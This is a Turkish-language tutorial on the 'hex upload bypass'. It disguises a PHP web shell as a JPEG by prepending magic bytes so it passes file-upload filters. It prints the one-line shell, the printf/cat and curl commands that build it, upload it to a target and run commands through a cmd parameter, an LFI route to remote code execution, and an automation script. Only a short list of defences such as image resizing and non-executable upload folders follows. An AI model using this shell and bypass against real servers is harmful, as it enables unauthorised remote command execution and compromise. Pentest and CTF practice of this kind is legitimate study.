Giriş
Web uygulamaları çoğu zaman yalnızca belirli uzantılara (jpg, png, pdf vb.)
sahip dosyaların yüklenmesine izin verir ve istemci tarafından gönderilen
dosyayı birkaç temel kontrole tabi tutar:
Dosya uzantısı (.jpg, .png …)
İçerik türü (MIME type – image/jpeg vb.)
Magic byte / imza (dosyanın ilk birkaç baytı)
Hex bypass, bu kontrolleri atlatmak için dosyanın ilk baytlarını (magic
byte) düzenleyerek, saldırgan betiği (ör. PHP shell) “görüntü” gibi
göstermeye dayanan basit ama etkili bir tekniktir.
Magic Byte (Dosya İmzası) Nedir?
Her dosya türünün kendine özgü birkaç baytlık imzası vardır:
JPEG : FF D8 FF E0 (veya FF D8 FF E1)
PNG : 89 50 4E 47 0D 0A 1A 0A
GIF : 47 49 46 38 39 61 veya 47 49 46 38 37 61
Sunucu “jpg dosyası” bekliyorsa ilk dört baytın FF D8 FF E? olmasını
kontrol eder. Biz de tam bunu ekleyip uzantıyı .jpg yaparız.
Hex Upload Bypass Adımları
3.1 Hedefi Analiz Et
Dosya yükleme formunu Burp Suite ile yakala.
Sunucunun hata mesajlarına veya istemci‑tarafı doğrulamalara bak.
3.2 Shell Dosyasını Hazırla
Basit PHP shell:<?php system($_GET['cmd']); ?>
3.3 Magic Byte Ekle
hexedit shell.php # Baştaki baytları FF D8 FF E0 ile değiştir, kaydet.
# Yöntem 2 – otomatik
printf "\xFF\xD8\xFF\xE0" | cat - shell.php > fake.jpg
Artık fake.jpg uzantılı bir “görsel” dosyan var.
3.4 Dosyayı Yükle
Formu doldur, fake.jpg seç, yükle.Eğer yükleme başarılı olursa:
https://site.com/uploads/fake.jpg?cmd=id
3.5 LFI Yedek Yol (Opsiyonel)
Dosya uzantısı engellenmiyorsa ama yürütme engelleniyorsa, uygulamada
file= parametreli bir LFI bulunuyorsa:
https://site.com/index.php?page=../../uploads/fake.jpg&cmd=whoami
Magic byte + LFI birleşince yine RCE elde edilir.
Örnek Senaryo
# Hedef : 10.0.0.3
# Shell : shell.php
# Hexify : JPEG
printf "\xFF\xD8\xFF\xE0" | cat - shell.php > fake.jpg
curl -F "avatar=@fake.jpg" http://10.0.0.3/upload.php
# Dosya yolunu öğren – Burp / yanıt içinde genellikle gösterilir
curl "http://10.0.0.3/uploads/fake.jpg?cmd=uname -a"
Faydalı Araçlar
Araç
Amaç
xxd
Dosyayı hex olarak görüntüle
hexedit
Terminalde hex düzenleme
exiftool
Görsel meta verilerini manipüle et
burp
HTTP isteğini yakala & değiştir
file
Magic byte’a göre dosya türü tespit
Otomasyon (Bash One‑Liner)
#!/usr/bin/env bash
phpfile=$1
out=${phpfile%.*}.jpg
printf "\xFF\xD8\xFF\xE0" | cat - "$phpfile" > "$out"
echo "[+] $out hazır, yükleyebilirsin."
Sunucu tarafı yeniden boyutlandırma (image resize); zararlı kodu yok eder.
MIME ve magic byte eşzamanlı doğrulama
İzin verilen uzantı beyaz listesi (.jpg, .png…)
Web kökünden ayrı dizin + execute bit yok
İmzalanmış ZIP yükleme (Office, APK vb.) – Tek tek içerik taranmalı.
WAF / AV : ClamAV, ModSecurity (OWASP CRS) kural setleri.
Sonuç
Hex upload bypass, en basit “uzantı + sihirli bayt” doğrulamalarını kolayca
aşar. Gerçek hayat uygulamalarında dosyayı gerçekten işlemeye (resize,
pdf parser, AV tarayıcı) zorlayarak bu saldırıyı engellemek gerekir.
Pentest/CTF tarafında ise bu yöntem, filtreleri atlayıp uzak komut
çalıştırma (RCE) adımına hızlıca geçmek için hâlâ popülerdir.